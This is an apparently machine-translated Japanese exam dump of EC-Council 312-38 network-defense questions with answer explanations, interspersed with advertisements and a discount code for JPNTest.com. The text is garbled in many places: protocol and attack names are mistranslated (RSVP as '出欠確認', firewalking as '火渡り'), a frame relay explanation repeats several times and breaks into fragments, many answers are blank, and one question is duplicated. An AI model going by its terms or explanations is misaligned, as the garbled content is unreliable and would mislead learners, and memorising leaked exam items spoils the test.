分散型サービス拒否（DDOS）攻撃では、攻撃者は以前に感染したネットワーク全体で複数のコンピューターを使用します。このようなコンピューターはゾンビとして機能し、連携して偽のメッセージを送信するため、偽のトラフィックの量が増加します。分散型サービス拒否攻撃を使用する攻撃者の主な利点は、複数のマシンが1台のマシンよりも多くの攻撃トラフィックを生成できること、複数の攻撃マシンを1台の攻撃マシンよりもオフにすることが難しいこと、および各攻撃マシンの動作です。ステルスになる可能性があり、追跡とシャットダウンが困難になります。TFN、TRIN00などは、DDoS攻撃に使用されるツールです。回答オプションAが正しくありません。Smurf攻撃は、サードパーティの仲介者を使用して防御し、元のシステムに戻る攻撃の一種です。Smurf攻撃では、誤ったpingパケットは、発信元のシステムによって転送されます。サードパーティネットワークのブロードキャストアドレスは、パケットの宛先です。したがって、サードパーティネットワーク上の各マシンには、ping要求のコピーがあります。被害者のシステムは発信者です。発信者は、さまざまな仲介ネットワークを介して、これらの多数の要求を迅速に転送します。被害者は、これらの多数の要求に圧倒されます。回答オプションBが正しくありません。バッファオーバーフロー攻撃は、ハッカーがフィールド（通常はアドレスバー）に、収容できるよりも多くの文字を入力したときに実行されます。余分な文字は実行可能コードとして実行でき、ハッカーにコンピューターの制御を効果的に与え、設定されたセキュリティ対策を無効にします。バッファオーバーフロー攻撃には、主に2つのタイプがあります。スタックベースのバッファオーバーフロー攻撃 :スタックベースのバッファオーバーフロー攻撃は、スタックと呼ばれるメモリオブジェクトを使用します。ハッカーは、スタック用に特定のスペースを予約するコードを開発します。ユーザーの入力がスタック内で予約されているスペースの量よりも長い場合、スタックはオーバーフローします。ヒープベースのバッファオーバーフロー攻撃 :ヒープベースのオーバーフロー攻撃は、プログラム用に予約されているメモリスペースをフラッディングします。回答オプションDが正しくありません。ボンク攻撃は、破損したUDPパケットをDNSポート53に送信することにより、ほとんどのWindowsコンピューターに影響を与えるティアドロップ攻撃の一種です。これは、サービス拒否（DoS）攻撃の一種です。ボンク攻撃は、TCP/IPパケットのフラグメントオフセットフィールドを操作します。このフィールドは、大きなパケットを送信することが難しいため、フラグメント化されたパケットを再構築する方法をコンピュータに指示します。

質問: **85**
IPマルチキャストパケットを転送するためにルーター間で情報を共有するために使用されるプロトコルは次のうちどれですか
ネットワーク間？
A. 出欠確認
B. DVMRP
C. RPC
D. LWAPP
正解: **B (**コメントを発表する**)**

距離ベクトルマルチキャストルーティングプロトコル（DVMRP）は、ルーター間で情報を共有するために使用されます。
ネットワーク間でIPマルチキャストパケットを転送します。リバースパスフラッディング手法を使用し、
インターネットのマルチキャストバックボーン（MBONE）の基盤。特に、DVMRPは貧弱なネットワークで有名です
特に剪定を実装していないバージョンでの再フラッディングに起因するスケーリング。DVMRPのフラット
ユニキャストルーティングメカニズムは、スケーリング機能にも影響します。
回答オプションAが正しくありません。リソース予約プロトコル（RSVP）は、トランスポート層プロトコルです。
統合サービスインターネット用にネットワーク全体でリソースを予約するように設計されています。RSVPは転送しません
アプリケーションデータですが、ICMP、IGMP、ルーティングプロトコルなどのインターネット制御プロトコルです。RSVPは提供します
スケーリングと堅牢性を備えたマルチキャストまたはユニキャストデータフローのリソース予約の受信者主導のセットアップ。
RSVPは、ホストまたはルーターのいずれかが、特定のレベルのサービス品質（QoS）を要求または提供するために使用できます。
アプリケーションデータストリーム。RSVPは、アプリケーションが予約を行う方法と、アプリケーションが予約を離れる方法を定義します。
それらの必要性が終了した後、予約されたリソース。RSVP操作では、通常、リソースが
パスに沿って各ノードで予約されています。
回答オプションCは正しくありません。リモートプロシージャコール（RPC）は、を使用してネットワークの詳細を非表示にします。
すべてのプログラマーに馴染みのある一般的なプロシージャ呼び出しメカニズム。通常の手順と同様に、RPCも
同期とパラメータが渡されます。クライアントのプロセスがリモートサーバー上の関数を呼び出し、
結果が返されるまで中断されたままになります。
回答オプションDが正しくありません。LWAPP（Lightweight Access Point Protocol）は、複数を制御するために使用されるプロトコルです。
Wi-Fiワイヤレスアクセスポイントを一度に。これにより、構成、監視、または
大規模ネットワークのトラブルシューティング。これにより、ネットワーク管理者はネットワークを綿密に分析することもできます。

質問: **86**
通信と電子メールに関連する一般的なセキュリティ問題は次のうちどれですか？それぞれ正しい答えは完全な解決策を表しています。該当するものをすべて選択してください。

A. 誤ったメッセージ
B. メッセージダイジェスト
C. メッセージの再生
D. メッセージの拒否
E. メッセージの変更
F. 盗聴
G. 個人情報の盗難
正解**: (**正解を表示します**)**
以下は、通信と電子メールに関連する一般的なセキュリティの問題です。
盗聴：電話回線 電子メール、インスタントを通じて個人情報を密かに聞く行為です。
メッセージング、およびプライベートと見なされるその他の通信方法。
個人情報の盗難 :これは、誰かの電子メールサーバーにアクセスするために誰かのユーザー名とパスワードを取得する行為です。
電子メールを読んだり、誤った電子メールメッセージを送信したりします。これらの資格情報は、盗聴することで取得できます
SMTP、POP、IMAP、またはWebメール接続。
メッセージの変更 :SMTPサーバーのいずれかでシステム管理者権限を持っている人は
誰かのメッセージにアクセスし、メッセージが宛先に進む前にメッセージを削除または変更できます。ザ
受信者には、電子メールメッセージが変更されたことを通知する方法がありません。
誤ったメッセージ：他の誰かによって送信されたように見えるメッセージを作成する行為。
メッセージの再生 :メッセージの再生では、メッセージは変更され、保存され、後で再送信されます。
メッセージの拒否 :メッセージの拒否では、通常の電子メールメッセージを偽造できます。のための方法はありません
誰かが彼/彼女に特定のメッセージを送ったことを証明するための受信者。これは、誰かが持っていても
メッセージを送信すると、彼/彼女はそれを正常に拒否できます。
回答オプションBが正しくありません。メッセージダイジェストは、ファイルと
そのファイルを一意に表します。

質問**: 87**
デバイスがCiscoルーターに情報を記録するために使用できるさまざまな方法は次のうちどれですか。
それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. バッファログ
B. Syslogロギング
C. NTPロギング
D. ターミナルロギング
E. コンソールロギング

F. SNMPロギング
正解: **(**正解を表示します**)**
デバイスがCiscoルータに情報を記録するために使用できるさまざまな方法があります。
ターミナルロギング :この方法では、ログメッセージがVTYセッションに送信されます。
コンソールロギング :この方法では、ログメッセージはコンソールポートに直接送信されます。
バッファログ :この方法では、ログメッセージはルーターのRAMに保持されます。バッファがいっぱいになると、古い
メッセージは新しいメッセージによって上書きされます。
Syslogロギング :この方法では、ログメッセージは外部のsyslogサーバーに送信され、そこで保存されます。
並べ替え。
SNMPロギング :この方法では、ログメッセージがネットワーク内のSNMPサーバーに送信されます。
回答オプションCは正しくありません。これは無効なオプションです。

質問: **88**
次のIEEE標準のうち、ワイヤレスATMシステムの仕様を提供しているのはどれですか。
A. 802.3
B. 802.5
C. 802.11a
D. 802.1
正解: **(**正解を表示します**)**

質問: **89**
ファイアウォールで保護されているリモートネットワークに関する情報を収集するための手法は次のうちどれですか？
A. 火渡り
B. Warchalking
C. ウォードライビング
D. ウォーダイアル
正解: **A (**コメントを発表する**)**
説明
Explanation:
火渡りは、ファイアウォールで保護されたリモートネットワークに関する情報を収集するための手法です。この手法は、情報収集攻撃を実行するために効果的に使用できます。この手法では、攻撃者は、ファイアウォールを1ホップ通過して期限切れになるように設定されたTTL値を持つ細工されたパケットを送信します。ファイアウォールがこの細工されたパケットの通過を許可する場合、ファイアウォールはパケットをネクストホップに転送します。ネクストホップで、パケットは期限切れになり、ICMPを引き出します

攻撃者への 「TTLは転送中に期限切れになりました」というメッセージ。ファイアウォールがトラフィックを許可しない場合、応答がないか、ICMP 「管理上禁止」メッセージが攻撃者に返される必要があります。悪意のある攻撃者は、火渡りを使用して、ファイアウォールをバイパスできるポート/プロトコルのタイプを判別できます。火渡りを使用するには、攻撃者はファイアウォールの前にある最後の既知のゲートウェイのIPアドレスと、ファイアウォールの背後にあるホストのIPアドレスを必要とします。この手法の主な欠点は、管理者がICMPパケットのネットワークからの送信をブロックすると、効果がなくなることです。
回答オプションBが正しくありません。Warchalkingは、オープンWi-Fiワイヤレスネットワークを宣伝するために公共の場所にシンボルを描くことです。Wi-Fiノードを見つけると、ウォーチャーカーは壁、舗装、街灯柱などの近くのオブジェクトに特別なシンボルを描画します。ウォードライビングという名前は、クラッカーの用語であるウォーダイヤリングとウォードライビングに由来しています。
回答オプションCは正しくありません。アクセスポイントマッピングとも呼ばれるウォードライビングは、都市やその他の場所を運転しているときに、ワイヤレスローカルエリアネットワークへの接続を特定し、場合によってはそれを利用する行為です。ウォードライビングを行うには、車両、コンピューター ラップトップの場合もあります）、プロミスキャスモードで動作するように設定されたワイヤレスイーサネットカード、および車の上または車内に配置できる何らかのアンテナが必要です。
無線LANの範囲はオフィスビルを超えている可能性があるため、外部ユーザーがネットワークに侵入し、無料のインターネット接続を取得し、会社の記録やその他のリソースにアクセスできる可能性があります。
回答オプションDが正しくありません。ウォーダイヤルまたはワードダイヤルは、モデムを使用して電話番号のリストを自動的にスキャンする手法であり、通常、ローカルエリアコードのすべての番号をダイヤルして、コンピューター、掲示板システム、およびファックス機を検索します。ハッカーは結果のリストをさまざまな目的に使用し、愛好家は探索に使用し、クラッカー コンピューターのセキュリティを専門とするハッカー）はパスワードの推測に使用します。

質問: **90**
ウォーダイヤラーは、脆弱なモデムを検出するために何千もの電話番号をスキャンするために使用されるツールです。攻撃者にコンピュータへの不正アクセスを提供します。攻撃者がウォーダイヤリングを実行するために使用できるツールは次のうちどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. ToneLoc
B. ウィンゲート
C. THC-スキャン
D. NetStumbler
正解: **(正解を表示します)**

THC-ScanとToneLocは、ウォーダイヤリングに使用されるツールです。ウォーダイヤラーは、脆弱なモデムを検出するために何千もの電話番号をスキャンするために使用されるツールです。攻撃者にコンピュータへの不正アクセスを提供します。
回答オプションDが正しくありません。NetStumblerは、IEEE 802.11a、802.11b、および802.11g標準を使用した無線LANの検出に使用されるWindowsベースのツールです。ワイヤレスネットワークを検出し、GPSでそれらの相対位置をマークします。ブロードキャストの宛先アドレスに送信された802.11プローブ要求を使用します。
回答オプションBが正しくありません。Wingateはプロキシサーバーです。

質問: **91**
あなたはネットワーク管理者投資銀行です。あなたは人々がネットワークをブリーチングすることを心配していて、アクセスを検出してシャットダウンする前に情報を盗むことができます。この問題に対処するための最良の方法は次のうちどれですか？
A. なし
B. 強力なファイアウォールを実装します。
C. 強力なパスワードポリシーを実装します。
D. ネットワークを実装することはアンチウイルスに基づいています。
E. ハニーポットを実装します。
正解: **(**正解を表示します**)**

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **92**
次のうち、既存の電話ネットワークインフラストラクチャを介して音声、データ、およびビデオを伝送するデジタル電話/通信ネットワークはどれですか？
A. PPP
B. フレームリレー
C. ISDN
D. X.25
正解: **(**正解を表示します**)**
統合サービスデジタルネットワーク（ISDN）は、既存の電話ネットワークインフラストラクチャを介して音声、データ、およびビデオを伝送するデジタル電話/通信ネットワークです。送信の両端にISDNモデムが必要です。ISDNは、電話、ファックス機、コンピュータなどを接続するための単一のインターフェイスを提供するように設計されています。ISDNには、基本速度インターフェイス

BRI）と一次速度インターフェイス（PRI）の2つのレベルのサービスがあります。回答オプションAが正しくありません。ポイントツーポイントプロトコル（PPP）は、2つのネットワークノード間の直接接続を確立するために一般的に使用されるデータリンクプロトコルです。接続認証、送信暗号化プライバシー、および圧縮を提供できます。PPPは、同期および非同期回線を介した接続のためのデータリンク層プロトコルとして一般的に使用されており、古いものに大きく取って代わっています。非標準のSerialLineInternet Protocol（SLIP）および電話会社が義務付けた標準（X.25プロトコルスイートのLink Access Protocol、Balanced（LAPB）など）。PPPは、インターネットプロトコル（IP）、Novellのインターネットワークパケットエクスチェンジ（IPX）、NBF、AppleTalkなどの多数のネットワーク層プロトコルで動作するように設計されています。回答オプションDが正しくありません。国際電信電話諮問委員会（CCITT）によって標準として採用されているX.25プロトコルは、一般的に使用されているネットワークプロトコルです。X.25プロトコルを使用すると、さまざまなパブリックネットワーク（CompuServe、Tymnet、TCP / IPネットワークなど）上のコンピューターが、ネットワーク層レベルで中間コンピューターを介して通信できるようになります。X.25 ' ■プロトコルは、Open Systems Interconnection（OSI）通信モデルで定義されているデータリンクおよび物理層プロトコルに密接に対応しています。回答オプションBが正しくありません。フレームリレーは、ローカルエリアネットワーク（LAN）間およびワイドエリアネットワーク（WAN）のエンドポイント間の断続的なトラフィックのコスト効率の高いデータ伝送用に設計された通信サービスです。フレームリレーは、データをフレームと呼ばれる可変サイズの単位に入れます。他の従来の形式のパケット交換と比較してエラーが少ないかどうかをチェックするため、データ送信が高速化されます。フレームでエラーが検出されると、単にドロップされます。エンドポイントは、ドロップされたフレームを検出して再送信する役割を果たします。フレームリレーは、ローカルエリアネットワーク（LAN）間およびワイドエリアネットワーク（WAN）のエンドポイント間の断続的なトラフィックのコスト効率の高いデータ伝送用に設計された通信サービスです。フレームリレーは、データをフレームと呼ばれる可変サイズの単位に入れます。他の従来の形式のパケット交換と比較してエラーが少ないかどうかをチェックするため、データ送信が高速化されます。フレームでエラーが検出されると、単にドロップされます。エンドポイントは、ドロップされたフレームを検出して再送信する役割を果たします。フレームリレーは、ローカルエリアネットワーク（LAN）間およびワイドエリアネットワーク（WAN）のエンドポイント間の断続的なトラフィックのコスト効率の高いデータ伝送用に設計された通信サービスです。フレームリレーは、データをフレームと呼ばれる可変サイズの単位に入れます。他の従来の形式のパケット交換と比較してエラーが少ないかどうかをチェックするため、データ送信が高速化されます。フレームでエラーが検出されると、単にドロップされます。エンドポイントは、ドロップされたフレームを検出して再送信する役割を果たします。それは単に落とされます。エンドポイントは、ドロップされたフレームを検出して再送信する役割を果たします。それは単に落とされます。エンドポイントは、ドロップされたフレームを検出して再送信する役割を果たします。

質問: **93**
次のうちどれが、中断が通常の事業運営に影響を与える程度と、その中断によって失われた収益額を定義しますか？

A. RTO
B. RSP
C. RFO
D. RPO
正解: **(**正解を表示します**)**

質問: **94**
次のうち、必須のパスワードベースのキー交換認証プロトコルはどれですか？
A. DH-CHAP
B. VRRP
C. PPP
D. CHAP
正解: **(**正解を表示します**)**

質問: **95**
デバイスがCiscoルーターに情報を記録するために使用できるさまざまな方法は次のうちどれですか。
それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. バッファログ
B. Syslogロギング
C. NTPロギング
D. ターミナルロギング
E. コンソールロギング
F. SNMPロギング
正解: **(**正解を表示します**)**
デバイスがCiscoルータに情報を記録するために使用できるさまざまな方法があります。
ターミナルロギング :この方法では、ログメッセージがVTYセッションに送信されます。
コンソールロギング :この方法では、ログメッセージはコンソールポートに直接送信されます。
バッファログ :この方法では、ログメッセージはルーターのRAMに保持されます。バッファがいっぱいになると、古いメッセージは新しいメッセージで上書きされます。
Syslogロギング :この方法では、ログメッセージは外部のsyslogサーバーに送信され、そこで保存およびソートされます。
SNMPロギング :この方法では、ログメッセージがネットワーク内のSNMPサーバーに送信されます。
回答オプションCは正しくありません。これは無効なオプションです。

質問: **96**
次のタイプのRAIDのうち、パリティディスクを保護しないものはどれですか？
A. RAID 3
B. RAID 1

C. RAID 2
D. RAID 5
正解: **(**正解を表示します**)**

質問: **97**
正しいテキスト
空欄に適切な単語を記入してください。_____リスク分析プロセスは、数値を導き出すリスクイベントの影響を分析します。
正解:
定量的
Explanation:
定量的リスク分析は、特定のプロジェクト目標を達成する確率を評価し、プロジェクト目標全体に対するリスクの影響を定量化し、プロジェクト全体のリスクへの影響に基づいてリスクに優先順位を付けるプロセスです。定量的リスク分析プロセスは、数値を導き出すリスクイベントの影響を分析します。また、不確実性が存在する場合に意思決定を構築するための定量的アプローチも示します。定量的リスク分析の入力は次のとおりです。組織プロセス資産プロジェクトスコープステートメントリスク管理計画リスク登録プロジェクト管理計画

質問: **98**
悪意のあるハッカーであるAdamは、安全なCookieXSS攻撃を盗むことに成功しました。サーバー上でセッションが有効な場合でも、Cookieを再生できます。この問題の原因として最も可能性が高いのは次のうちどれですか？
A. 暗号化は適用されません。
B. 双方向暗号化が使用されます。
C. なし
D. スクランブリングはネットワークで実行されます（レイヤー1暗号化）
E. 暗号化はアプリケーションレベルで実行されます（1つの暗号化キー）。
正解: **(**正解を表示します**)**

質問: **99**
正しいテキスト
空欄に適切な用語を記入してください。_____は、Webサーバーがクライアントコンピューターに保存するデータのブロックです。
正解:
クッキー
Explanation:
Cookieは、Webサーバーがクライアントコンピューターに保存するデータのブロックです。Cookieに有効期限が設定されていない場合、ブラウザを閉じると有効期限が切れます。有効期限が将来の日付に設定されている場合、Cookieはセッションの終了後にクライアントのディスクに保存されます。有効期限が過去の日付に設定されている場合、Cookieは削除されます。

トピック2、ボリュームB

質問: **100**
次のうち、別のネットワークへの入り口として機能するネットワークポイントはどれですか？
A. ゲートウェイ
B. レシーバー
C. ハブ
D. ブリッジ
正解: **A (コメントを発表する)**

質問: **101**
自律システムの2つのゲートウェイネットワーク間でルーティング情報を交換するために使用されるプロトコルは次のうちどれですか？
A. OSPF
B. なし
C. IGMP
D. ICMP
E. EGP
正解: **(正解を表示します)**

質問: **102**
Jasonは、www.company.comIncのシステム管理者として働いています。同社にはWindowsベースのネットワークがあります。会社の従業員であるSamは、アプリケーションとシステム設定の一部を誤って変更しました。彼はジェイソンに彼のシステムが適切に機能していないと不平を言っています。問題のトラブルシューティングを行うために、ジェイソンは自分のコンピューターの内部を診断し、サムのコンピューターレジストリにいくつかの変更が加えられていることを確認します。この問題を修正するには、Jasonがレジストリを復元する必要があります。Jasonがタスクを実行するために使用できるユーティリティは次のうちどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. 輝かしいレジストラ
B. Regedit.exe
C. Reg.exe
D. EventCombMT
正解: **A,B,C (コメントを発表する)**
輝かしいレジストラは、レジストリを維持するための完全で安全なソリューションを管理者とパワーユーザーに提供するツールです。これは、ネットワーク上のデスクトップおよびリモートコンピューターのレジストリを維持するために使用できます。これは、レジストリのバックアップと復元、バックグラウンド検索と置換の高速化、レジストリキーへの説明の追加などのソリューションを提供します。このプログラムは、エクスプローラースタイルのインターフェイスで提供

されるため、非常に魅力的で使いやすいです。Windows 2003 / XP / 2K / NT / ME/9xで使用できます。
Reg.exeは、Windowsレジストリを編集するために使用されるコマンドラインユーティリティです。キーのインポート、エクスポート、バックアップ、復元、およびキーの比較、変更、削除を行うことができます。WindowsベースのRegedit.exeツールを使用して実行できるほとんどすべてのタスクを実行できます。
レジストリエディタ（REGEDIT）は、レジストリ内の情報を確認するために使用できるレジストリ編集ユーティリティです。
REGEDIT.EXEを使用すると、ユーザーは文字列、値、キー、およびサブキーを検索でき、特定の値または文字列を見つけるのに役立ちます。ユーザーは、REGEDIT.EXEを使用して、レジストリエントリを追加、削除、または変更することもできます。
回答オプションDが正しくありません。EventCombMTは、複数の異なるコンピューターのイベントログで特定のイベントを検索するために使用されるマルチスレッドツールであり、すべて1つの中央の場所から実行されます。これは、システム、アプリケーション、セキュリティ、ファイルレプリケーションサービス（FRS）、ドメインネームシステム（DNS）、およびActive Directory（AD）該当する場合はログに記録します。MTはマルチスレッドの略です。このプログラムは、Windows 2000、2003、およびXP用のアカウントロックアウトおよび管理ツールプログラムパッケージの一部です。

質問: **103**
次のポリシーのどれが、ユーザーがネットワークと組織のコンピューター機器を使用するためにできることとすべきことを定義するのに役立ちますか？
A. 一般的なポリシー
B. リモートアクセスポリシー
C. ITポリシー
D. ユーザーポリシー
正解: **(**正解を表示します**)**
ユーザーポリシーは、ユーザーがネットワークと組織のコンピューター機器を使用するためにできることとすべきことを定義するのに役立ちます。また、ユーザーがワークステーションにプログラムをインストールできるかどうか、ユーザーが使用しているプログラムの種類、ユーザーがデータにアクセスする方法など、ネットワークを安全に保つためにユーザーに課せられる制限についても定義します。回答オプションCは正しくありません。ITポリシーには、IT部門の一般的なポリシーが含まれます。これらのポリシーは、ネットワークの安全性と安定性を維持することを目的としています。これには、次のものが含まれます。ウイルスインシデントとセキュリティインシデントバックアップポリシークライアント更新ポリシーサーバー構成、パッチ更新、および変更ポリシー（セキュリティ）ファイアウォールポリシーDmzポリシー、電子メール保持、および自動転送電子メールポリシー回答オプションAが正しくありません。これは、高レベルのプログラムポリシーと事業継続計画を定義します。回答オプションBが正しくありません。リモートアクセス

ポリシーは、内部ネットワークにリモート接続するための許容可能な方法の概要と定義を示すドキュメントです。

質問: **104**
次の組織のうち、ドメイン名とIPアドレスの割り当てを管理する責任があるのはどれですか？
A. ISO
B. ICANN
C. W3C
D. ANSI
正解: **(**正解を表示します**)**
ICANNは、割り当てられた名前と番号を表すInternetCorporationの略です。ICANNは、ドメイン名とIPアドレスの割り当てを管理する責任があります。ICANNのタスクには、IPアドレススペースの割り当て、プロトコル識別子の割り当て、トップレベルドメインネームシステム管理、およびルートサーバーシステム管理機能の責任が含まれます。
回答オプションAが正しくありません。ISOとして広く知られている国際標準化機構は、さまざまな国内標準化機構の代表者で構成される国際標準化機構です。1947年2月23日に設立されたこの組織は、世界的に独自の産業および商業基準を公布しています。本社はスイスのジュネーブにあります。ISOはそれ自体を非政府組織と定義していますが、条約または国内標準のいずれかを通じて、しばしば法律となる標準を設定する能力により、ISOはほとんどの非政府組織よりも強力になっています。実際には、ISOは政府との強いつながりを持つコンソーシアムとして機能します。
回答オプションCは正しくありません。World Wide Webコンソーシアム（W3C）は、World Wide Webの進化と相互運用性を促進するための共通の標準を開発する、国際的な業界コンソーシアムです。1994年10月に、Webの発明者であるTim Berners-Leeが、マサチューセッツ工科大学コンピュータサイエンス研究所[MIT / LCS]で、Webの発信元であるCERNと共同で、DARPAと欧州委員会。
回答オプションDが正しくありません。ANSI（American National Standards Institute）は、米国の技術標準の開発を促進するための主要な組織です。ANSIは業界団体と協力しており、国際標準化機構（ISO）および国際電気標準会議（IEC）の米国メンバーです。ANSIの長年確立されたコンピュータ標準には、情報交換のための米国標準コード（ASCII）とSmall Computer System Interface（SCSI）が含まれます。

質問: **105**
デジタル証明書の認証局を検証する認証局の名前は何ですか？
A. ディレクトリ管理システム
B. 証明書管理システム
C. 登録局
D. 認証局
正解: **(**正解を表示します**)**

質問: **106**

衝突が検出されたときにジャム信号を送信するプロトコルは次のうちどれですか？
A. アロハ
B. CSMA / CA
C. CSMA
D. CSMA / CD
正解: **(**正解を表示します**)**

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **107**
同じリンク上の2つの異なるホストのインターネット層インターフェース間でパケットを移動するために使用されるTCP/IPモデルの次の層はどれですか？
A. アプリケーション層
B. インターネット層
C. リンク層
D. トランスポート層
正解: **(**正解を表示します**)**
TCP / IPモデルのリンク層は、ホストが接続されているローカルネットワーク接続のネットワークスコープです。TCP / IPはハードウェアに依存しないように設計されているため、これはインターネットプロトコルの最下位のコンポーネント層です。その結果、TCP / IPは、存在するほぼすべてのハードウェアネットワークテクノロジーの上に実装されています。リンク層は、同じリンク上の2つの異なるホストのインターネット層インターフェイス間でパケットを移動するために使用されます。特定のリンクでパケットを送受信するプロセスは、ネットワークカードのソフトウェアデバイスドライバーと、ファームウェアまたは専用チップセットの両方で制御できます。回答オプションBが正しくありません。TCP / IPモデルのインターネット層は、1つ以上のネットワークを介してパケットを送信する問題を解決します。インターネットワーキングでは、送信元ネットワークから宛先ネットワークにデータを送信する必要があります。このプロセスはルーティングと呼ばれます。IPは、さまざまな上位層プロトコルのデータを伝送できます。回答オプションDが正しくありません。TCP / IPモデルのトランスポート層は、エラー制御、セグメンテーション、フロー制御、輻輳制御、およびアプリケーションアドレス指定（ポート番号）とともに、基盤となるネットワークに依存しないエンドツーエンドのメッセージ転送機能を担当します。トランスポート層でのエンドツーエンドのメッセージ送信またはコネクション型アプリケーションは、伝送制御プロトコル（TCP）で実装されたコネクション型、またはユーザーデータグラムプロトコル（UDP）で実装されたコネクションレス型のいずれかに分類できます。回答オプションが正

しくありません。TCP / IPモデルのアプリケーション層は、ネットワーク通信のためにほとんどのアプリケーションで使用される高レベルのプロトコルを指します。アプリケーション層プロトコルの例には、ファイル転送プロトコル（FTP）および簡易メール転送プロトコル（SMTP）が含まれます。次に、アプリケーション層プロトコルに従ってコード化されたデータは、1つ以上のトランスポート層プロトコルにカプセル化されます。トランスポート層プロトコルは、実際のデータ転送に影響を与えるために下位層プロトコルを使用します。

質問: **108**
CERT / CCが推奨するインシデント対応プラクティスは次のうちどれですか？
A. 通知、処理、フォローアップ
B. 準備、通知、フォローアップ
C. 準備、処理、通知
D. 準備、処理、フォローアップ
正解: **D** (コメントを発表する)

質問: **109**
次の攻撃のうち、ランダムな攻撃の試みと一定の順列の間に見られる衝突の可能性が高いことに依存するブルートフォース攻撃のクラスはどれですか？
A. フィッシング攻撃
B. リプレイアタック
C. 誕生日攻撃
D. 辞書攻撃
正解: (正解を表示します)
誕生日攻撃は、確率論で誕生日問題の背後にある数学を悪用するブルートフォース攻撃の一種です。これは暗号攻撃の一種です。誕生日攻撃は、ランダムな攻撃の試みと一定の順列の間に見られる衝突の可能性が高いことに依存します。回答オプションDが正しくありません。辞書攻撃は、可能性のある可能性を検索して復号化キーまたはパスフレーズを決定しようとすることにより、暗号または認証メカニズムを打ち負かす手法です。辞書攻撃は、完全なリスト内のすべての単語を連続して試行するブルートフォース手法を使用します（値の整理されたリスト）。大部分のキースペースが体系的に検索される通常のブルートフォース攻撃とは対照的に、辞書攻撃は、成功する可能性が最も高い可能性のみを試行します。通常、辞書内の単語のリストから派生します。一般に、辞書攻撃は成功します。これは、多くの人が短いパスワード（7文字以下）、辞書にある1つの単語、または数字の追加などの単純で予測しやすい単語のバリエーションを選択する傾向があるためです。回答オプションAが正しくありません。フィッシングは、ハッカーが試みるインターネット詐欺の一種です。ハッカーは、信頼できるエンティティになりすましてシステムにログインし、ユーザー名、パスワード、銀行口座の詳細、クレジットカードの詳細などの機密情報を取得しようとします。この情報を収集した後、ハッカーはこの情報を利用して利益を得ようとします。回答オプションBが正しくありません。リプレイ攻撃は、有効なデータ送信が悪意を持ってまたは不正に繰り返されたり遅延したりするネットワーク攻撃の一種です。

質問: **110**
ルーターを保護するための有効な手順は次のうちどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. ルーターの管理コンソールには覚えやすいパスワードを使用してください。
B. ルーターの管理コンソールに複雑なパスワードを使用します。
C. 不正な接続やトラフィックルーティングを防ぐためにアクセスリストエントリを設定します。
D. ルーターを最新のセキュリティパッチで最新の状態に保ちます。
正解: **(**正解を表示します**)**
ルーターとデバイスを保護するための有効な手順は次のとおりです。
アクセスリストのエントリを設定して、不正な接続やトラフィックルーティングを防止します。
ルータの管理コンソールには複雑なパスワードを使用してください。
ルーターは鍵のかかった部屋に保管してください。
最新のセキュリティパッチでルーターを最新の状態に保ちます。
機器の監視を使用して、ルーターとデバイスを保護します。
ルーターは、異なるネットワーク内のコンピューター間でデータパケットをルーティングするデバイスです。複数のネットワークを接続するために使用され、各データパケットが宛先コンピューターまでたどるパスを決定します。
ルーターは、使用可能なルートとその条件のルーティングテーブルを維持します。この情報を距離およびコストのアルゴリズムとともに使用することにより、ルーターは、データパケットが宛先コンピューターに到達するための最適なパスを決定します。ルーターは、イーサネット、FDDI、トークンリングなどの異なるネットワークに接続し、それらの間でデータパケットをルーティングできます。ルーターは、Open Systems Interconnection（OSI）モデルのネットワーク層（層3）で動作します。
セキュリティパッチは、ハッカーによって悪用される脆弱性を排除するプログラムです。

質問: **111**
トークンリングは、次のIEEE標準のどれによって標準化されていますか？
A. 802.4
B. 802.1
C. 802.2
D. 802.3
正解: **(**正解を表示します**)**

質問: **112**
ラップトップでUSBポートを不必要に有効にしたままにすると、次の攻撃対象領域のどれが増加しますか？
A. 人間の攻撃対象領域
B. ソフトウェアの攻撃対象領域
C. ネットワーク攻撃対象領域
D. 物理的な攻撃対象領域

正解: **D** (コメントを発表する)

質問: **113**
次のプロトコルのどれがTCPを介した制御チャネルとカプセル化するために動作するGREトンネルを使用します
PPPパケット？
A. PPTP
B. ESP
C. LWAPP
D. SSTP
正解: (正解を表示します)
ポイントツーポイントトンネリングプロトコル（PPTP）は、仮想プライベートネットワークを実装するための方法です。PPTP
TCPを介した制御チャネルとPPPパケットをカプセル化するために動作するGREトンネルを使用します。PPTP
仕様では、暗号化または認証機能については説明されておらず、PPPプロトコルに依存しています。
セキュリティ機能を実装するためにトンネリングされます。ただし、最も一般的なPPTPの実装は、
Microsoft Windows製品ファミリは、さまざまなレベルの認証と暗号化をネイティブに実装します。
WindowsPPTPスタックの標準機能。このプロトコルの使用目的は、同様のレベルの
典型的なVPN製品としてのセキュリティとリモートアクセス。
回答オプションBが正しくありません。Encapsulating Security Payload（ESP）は、を提供する
IPSecプロトコルです。
認証、整合性、およびアンチリプレイに加えて、機密性。ESPは、単独または組み合わせて使用できます
認証ヘッダー（AH）付き。また、Layer Two Tunneling Protocol（L2TP）とネストすることもできます。ESP
トンネリングされていない限り、パケット全体に署名しません。通常、データペイロードのみが保護され、保護されません。
IPヘッダー。
回答オプションDが正しくありません。セキュアソケットトンネリングプロトコル（SSTP）
は、VPNトンネルの形式であり、
SSL3.0チャネルを介してPPPまたはL2TPトラフィックを転送するメカニズム。SSLはトランスポートレベルのセキュリティを提供します
